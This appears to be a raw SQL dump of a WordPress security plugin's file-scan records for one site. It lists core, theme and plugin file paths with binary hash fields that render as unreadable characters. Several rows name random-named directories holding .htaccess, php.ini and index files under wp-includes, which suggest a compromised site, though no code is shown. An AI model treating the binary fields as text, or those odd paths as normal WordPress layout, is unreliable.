('WMF`3$','wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/fields/class-wp-rest-term-meta-fields.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2CECZ6e','\\W.£;\\	K[zHEI8A','',0,'?'),
('-ФQ1Ц\r ','wp-content/themes/twentynineteen/sass/variables-site/_variables-site.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_variables-site.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G\0\\t4E',',%d:?-ǯM!kgF6ݱRlj','',0,'?'),
('*o%/bz[','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLight.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLight.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IHp\Z;\n','\nQJU= 	x\'PT3ɭzϒV','',0,'?'),
('*7\r?','wp-includes/class-requests.php','/home/trevorkl/trevorklee.com/wp-includes/class-requests.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0\ZNzj3','1W~fW;\0W5U8<','',0,'?'),
('ԥd6g]QO#>','wp-content/plugins/wordfence/lib/menu_install.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o)6T\05','z%\",9zK8#6\09','',0,'?'),
('	iT˜G>z','wp-includes/Text/yk1mjid/wgocz1i/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('\\\"Iw\Z7','wp-content/themes/twentytwentyfive/patterns/footer-social.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/footer-social.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[	A2mF_c','/&{bR]ZY0O\ntNOY 0','',0,'?'),
('$H?.0h','wp-content/plugins/wordfence/lib/wfScanEntrypoint.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanEntrypoint.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+#F%IA','1M|Pk@m_WvA?vz','',0,'?'),
('sy%#r=','wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' E@UBN*ŢS','`P.A0 G3F=','',0,'?'),
('of?3P1\"','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/IetfCtx.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/IetfCtx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g\"̤/OY\'','8eTet\r jP/J<^rӥz','',0,'?'),
('\'ULi@','wp-content/plugins/loginizer/lib/hybridauth/User/Activity.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/User/Activity.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B%cHɔb	n','?K2(lS\\|?a:|ql<','',0,'?'),
('1L\rJ\rSF$MW','wp-includes/sitemaps/ufbsx1k/gzkrwvm/zwdlvtu/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ufbsx1k/gzkrwvm/zwdlvtu/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('1a?l','wp-includes/blocks/comments-pagination-previous.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-previous.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0G=@\nK','3__\\;_	+윂ο#YkD','',0,'?'),
('Fe}(','wp-includes/js/jquery/ui/dialog.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/dialog.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Vk%\05X\ryI','5%J)AΧ&=x<Gu','',0,'?'),
('W׾5^l__#','wp-content/themes/twentynineteen/sass/typography/_typography.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/typography/_typography.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xiw4@[1','\'o6mG;?`iLNo$ީO','',0,'?'),
('\\wJ]Բ)','wp-content/themes/twentytwentythree/templates/search.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/search.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@_%(-r','pzALS=u{ma','',0,'?'),
('dr	G	#b','wp-content/themes/twentytwentyfive/assets/images/typewriter.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/typewriter.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z1..tī','C)7+dLa-p?[xܝ:|/;cˌ','',0,'?'),
('s♼{DR[k1I','wp-content/plugins/wordfence/images/logo.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logo.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zFހW\rl~6','V{Q9V	J	Xqڀc','',0,'?'),
('8m\nd74t','wp-includes/class-avif-info.php','/home/trevorkl/trevorklee.com/wp-includes/class-avif-info.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}n3Cv80','[fTL9xߎT9S\0:Ty','',0,'?'),
('X/\0	','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/sqli.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/sqli.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iJB!<\0','V4^CD\Z;Uz','',0,'?'),
('}/pS','wp-includes/blocks/page-list/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xt?%Y{','ׁ}p:B HJW_T2^-P','',0,'?'),
('N3M\nS0j','wp-includes/js/dist/block-library.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-library.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BS|=-b5','m*< G;no(ixL','',0,'?'),
('0K/#SҟQD)','wp-content/plugins/akismet/abilities/class-akismet-ability-get-stats.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/abilities/class-akismet-ability-get-stats.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GjsL\Z.','Obז_Z$}t\'a,@','',0,'?'),
('x(ťܺ.Շ','wp-includes/class-wp-session-tokens.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-session-tokens.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Tcӫ\\^k','Ƞ})zW=NbdDP','',0,'?'),
('ԒAr^','wp-includes/js/wp-custom-header.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-custom-header.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C@$ҷSE#','\"y䓧}^Hz%Zу','',0,'?'),
('za>`<!Ct','wp-includes/css/dist/block-library/reset.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/reset.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oG\\\n\'\0$a7','*ӊ;H0Tŕ`_fe*z3ϻ','',0,'?'),
('^0pkM','wp-includes/css/dist/nux/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/nux/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_]02?BIí!ʢ','mDnj8B3_[5^','',0,'?'),
('S	g	Nd','wp-content/plugins/wordfence/modules/login-security/classes/controller/wordfencels.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/wordfencels.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VL\'x','$PhǱ{Q}veCJQm','',0,'?'),
('h]CA*','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Ed25519.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Ed25519.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"δL.o','eoَ3uϨy38\nؑ:','',0,'?'),
('0ܚZI丱N','wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^p,N.<Z\0Y','K\0#IVs؞<\'jY','',0,'?'),
('ai\\OI \0g@','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php84compat_const.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php84compat_const.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q<.lg߂_i','P}P\\8Rx','',0,'?'),
('3ƹܕjbiΥ','wp-includes/customize/class-wp-customize-nav-menu-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>3׆ꕰC\"','ato9	 _}Bt5QfR5','',0,'?'),
('\Z6B8ceg','wp-includes/blocks/shortcode/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/shortcode/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O*ctBHV','tpFWCp>2[}hvp6j','',0,'?'),
('G+y\"{L9','wp-includes/SimplePie/library/SimplePie/Credit.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Credit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}5-j','D݄cm퇍(>;@[Zf','',0,'?'),
('X	s5c&c','wp-includes/Text/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Text/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Z{#[1s+r','wp-includes/css/wp-empty-template-alert.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-empty-template-alert.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e~51','B\' زAՙ	@=^V','',0,'?'),
('^%iA`Rs','wp-content/themes/twentytwentyfour/patterns/banner-hero.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/banner-hero.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kgnYJ\0Zm','_v:kBPF1Ƽ]>n\"+;>5','',0,'?'),
('ٲd&\nMGK','wp-includes/l10n/class-wp-translation-file-mo.php','/home/trevorkl/trevorklee.com/wp-includes/l10n/class-wp-translation-file-mo.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y#U wu91','jpQ(u\rסpZ[x1.:Ï','',0,'?'),
(',=9h6K','wp-includes/js/jquery/ui/draggable.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/draggable.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O}WBH1Q?^Yq\'','LPC7\rY@ؒE_)','',0,'?'),
('d4Ϡ%?','wp-includes/blocks/term-template/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zL','pg\'FMXcLMmL-b[y','',0,'?'),
('\0Ƭ#(','wp-content/themes/twentytwenty/package-lock.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/package-lock.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~$t\ni*t;/','Hيt*C+)f$R2Ng6|&','',0,'?'),
('@8aqֺj','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']y','\r;BX2#R|m&2Cg0','',0,'?'),
('\\˞nJ(','wp-includes/blocks/accordion-item/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-item/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.)쬯%)x','$Z˃8^/YHPџ1h','',0,'?'),
(']Ɖ	e','wp-content/themes/twentytwentyone/assets/css/style-dark-mode-rtl.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-dark-mode-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A*=Ձf','P\Zi\Zɶu\\\n]lk\"?m','',0,'?'),
('UA<,	e6o','wp-content/themes/twentytwentyfive/patterns/template-archive-vertical-header-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-archive-vertical-header-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1wנ]','NXH\\v>m 9\")0mE;+Cyx','',0,'?'),
('3\0~','wp-content/themes/twentytwentyfour/assets/fonts/jost/Jost-Italic-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/jost/Jost-Italic-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Rf4','\'Fv`,\rvG$&i1z}\'d','',0,'?'),
('ͱ`:oNQ$y<','wp-includes/SimplePie/library/SimplePie/Cache/Memcache.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/Memcache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*/xu;u!G',',:׿F[69Wwv6iick:','',0,'?'),
('>/ᡇ_','wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.eot','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.eot',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l([qאD#','\\sٶhb2.;m`Fr^&H-w	yV~','',0,'?'),
('&UX\rL4{','wp-includes/js/utils.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/utils.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','˺XH_[ϓ','jtSdJ]DާQ','',0,'?'),
('ꐋ_','wp-includes/theme-compat/oq1ieuz/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\Z֧\\\Zhi','wp-includes/js/dist/blocks.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/blocks.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+b$z$	O','6W٬N\nL!Zꝯ܍[I','',0,'?'),
('\ZJX\n,ٔ!H','wp-includes/sitemaps/1xuftgv/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('\Za\'M;ȭUl','wp-includes/blocks/post-comments-form/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Dae','juto)i5 j;\\vڦ(*o','',0,'?'),
('\ZdBwKFPΠ/','wp-includes/css/wp-empty-template-alert.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-empty-template-alert.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','銿r\nL','*M=a?la4Kr9A\\#','',0,'?'),
('\Z\ZLX?T鍦','wp-content/themes/twentytwentyone/assets/images/young-woman-in-mauve.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/young-woman-in-mauve.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\j&Ԥ&	','ZLh\0ԯNq%a*-4(AfEk+)xD','',0,'?'),
('\Z܏L#%=xoS','wp-includes/blocks/post-comments-link/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-link/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J-Ж\r','z5;~Ԑ7uXM5\\o=|\n','',0,'?'),
('\ZL6N1;8','wp-content/plugins/wordfence/modules/login-security/views/page/section-title.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/section-title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R-]|Y=','\0s}sv[*M	v	Q4uJD(','',0,'?'),
('\Z;5(OOR','wp-content/plugins/wordfence/lib/dashboard/widget_content_countries.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/dashboard/widget_content_countries.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ǛlmD!','\'9\r9\0o|\Z|0K','',0,'?'),
('\Z䦀@Ba\n2','wp-content/themes/twentytwentyfour/patterns/text-centered-statement-small.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-centered-statement-small.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')^~@bZ\'%.','\r\rйmz+K<uӰ=2S ','',0,'?'),
('\Z)qtsCI9','wp-includes/functions.php','/home/trevorkl/trevorklee.com/wp-includes/functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':_V̗1','F,f,n5CO4=y','',0,'?'),
('\Zy8R#Oy','wp-admin/css/nav-menus-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/nav-menus-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	]i+\Z}','U^	>Cum,RV8p}@3N','',0,'?'),
('\Z\Z:\\RfP~3','wp-includes/class-wp-metadata-lazyloader.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-metadata-lazyloader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','֋Rq6}dl)ل','KJ`RLG%2uu)+f%','',0,'?'),
('\ZUEs(#Ep','wp-includes/images/smilies/icon_mrgreen.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_mrgreen.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$_uX|I%~$','!BI1mV-|јX5D8h','',0,'?'),
('\Z/̓T%g4','wp-includes/js/jquery/ui/effect-drop.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-drop.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p1m:*','jճ:2l϶GB%[~:v7','',0,'?'),
('$P`\0gX','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Cached.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Cached.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ja~QQT','[\'@w@{|-B;3EU\0	4sP','',0,'?'),
('&͂|d8','wp-includes/blocks/pattern.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/pattern.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&=@D)','bH\'z󅨈<,bUMbe@Ә','',0,'?'),
('-c<@VsZ','wp-includes/js/api-request.js','/home/trevorkl/trevorklee.com/wp-includes/js/api-request.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9߿G7p6{g','d6Q\\f:G`j1V','',0,'?'),
('9kruk\r8w','wp-includes/js/dist/latex-to-mathml.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/latex-to-mathml.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ic.Fߤ_','kԵ6`ycc|̾S&Sb0m1','',0,'?'),
('Ryr|o>>','wp-content/themes/twentytwentyone/assets/css/style-editor.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/css/style-editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m̌F-iռ','	a:v=@˫ۤ.⣊ez2','',0,'?'),
('ZYuO:y[u','wp-includes/sitemaps/kjfl1bg/ky1monx/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('_z9݀D:','wp-includes/blocks/media-text/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~h.KEh\'xY','@~B\Z#XģBJJ}$§:','',0,'?'),
('f=e勇Xy','wp-content/plugins/wordfence/waf/wfWAFBlockI18n.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/wfWAFBlockI18n.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n\\vu1','Fz,rgdflՏ;x\'','',0,'?'),
('jzϞ)Ab셀','wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P߬Д','}(0FfK:L* #s6bomv','',0,'?'),
('t]W2`,Z','wp-includes/blocks/term-description/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-description/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>DS1*','s+=ǃttGwD[4	)','',0,'?'),
('i>&%n','wp-includes/css/dist/admin-ui/admin-ui/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/admin-ui/admin-ui/.htaccess',0,'9\rKVM{','9\rKVM{','0&ަ\r%i*]4ܡM_','',0,'?'),
('?_','wp-content/themes/twentytwentyfive/assets/images/campanula-alliariifolia-flower.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/campanula-alliariifolia-flower.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A0Eoܱ\"d`1@','?uc/OR$	.*vZz','',0,'?'),
('y!\0pZ[A','wp-includes/js/mediaelement/mediaelement-and-player.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelement-and-player.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>5V','yG#\n7ڌ6(Chy','',0,'?'),
('EȖqȊ?2H','wp-includes/js/dist/api-fetch.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/api-fetch.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p&~','?3A/1WAz','',0,'?'),
('5pުm\Z','wp-includes/blocks/separator/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ٞ\no\'','j7W\06$e~RIp%zP','',0,'?'),
('K_/!`','wp-includes/Text/Diff/Renderer/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Renderer/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ֻE\n<B[,','wp-includes/class-wp-ajax-response.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-ajax-response.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QnK\nθfޞX	','T#tEȴ|TPUJ\0\rUO','',0,'?'),
('x.IcC_	z','wp-content/plugins/wordfence/modules/login-security/views/passkey/registration-error-handler.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/registration-error-handler.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OkTIu','uEZ&W=׽q,ulX/6','',0,'?'),
('S:','wp-includes/html-api/lpyi1nu/qounslr/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('[\0Y[cM{','wp-includes/css/dist/block-library/classic.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/classic.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';(F8r~`','O\nvz\"?]$:-5\\Y>dd','',0,'?'),
('mn9F6','wp-admin/css/admin-menu-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/admin-menu-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qn.1]eu3>|','\"N_N/Ef?ttNH[','',0,'?'),
(')M^ûoz','wp-admin/images/loading.gif','/home/trevorkl/trevorklee.com/wp-admin/images/loading.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K\Z0b:ד;u','Vk~Բab!fylm&v3Įm','',0,'?'),
('/\"CEÚ7kH','wp-includes/blocks/comments-title/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-title/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' ]C!|AJH\0','f )CھKG\ZCť Lp','',0,'?'),
('4%IHOʰL','wp-includes/css/media-views.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/media-views.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','87vAQ@@','7m0G=DKR06Qý\ZǞwuF\"o>9<','',0,'?'),
('C/;)ّo','wp-admin/js/comment.js','/home/trevorkl/trevorklee.com/wp-admin/js/comment.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ҫ]ʇQZh=1','烶	xѲ\\O\\nԝnh^E','',0,'?'),
('GwGD5M\"2ٜG)l','wp-includes/js/dist/script-modules/interactivity-router/full-page.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity-router/full-page.min.js',0,'~_Fdʫu,\"','~_Fdʫu,\"','!n{gc֚*aa#Uԑsa','',0,'?'),
('H~\nx|','wp-includes/js/dist/token-list.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/token-list.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Fw*^p\n','Vǫ@Nֲr7f-','',0,'?'),
('TgslFʞLy','wp-admin/js/set-post-thumbnail.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/set-post-thumbnail.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1PNH9e@I','e}#nqJrJQ<dZK4','',0,'?'),
('VN܀¦_ގ','wp-includes/html-api/xegynso/gqy1pns/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('a@WrQwZ\n.','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Poly1305.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Poly1305.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ܑzg<N\n?o6f','REgX3JAc!a_S{','',0,'?'),
('h.u|J{da','wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OpenID/LightOpenID.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Thirdparty/OpenID/LightOpenID.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6WjKD28','}XI/{m\\%+vkLS','',0,'?'),
('z|*6S\\53','wp-content/plugins/wordfence/lib/wordfenceScanner.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceScanner.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fX%l~?MUj','gɬՑ3Zh\ZP9','',0,'?'),
('N@J','wp-includes/sodium_compat/src/Core/SecretStream/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/SecretStream/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('f7^YГlwM','wp-includes/Requests/src/Exception/Http/Status502.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status502.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hGdQt$%','ap 84}bj/A=c^P\' WwAl1','',0,'?'),
('UoueNTt','wp-content/themes/twentytwentyfour/patterns/text-centered-statement.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-centered-statement.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ٵ$','N4M?}AUG>TDHGJ','',0,'?'),
('\n$zX`1Bw','wp-includes/js/tinymce/plugins/charmap/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/charmap/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\5^','[B\Z,;jfeMUj|)rv>UF','',0,'?'),
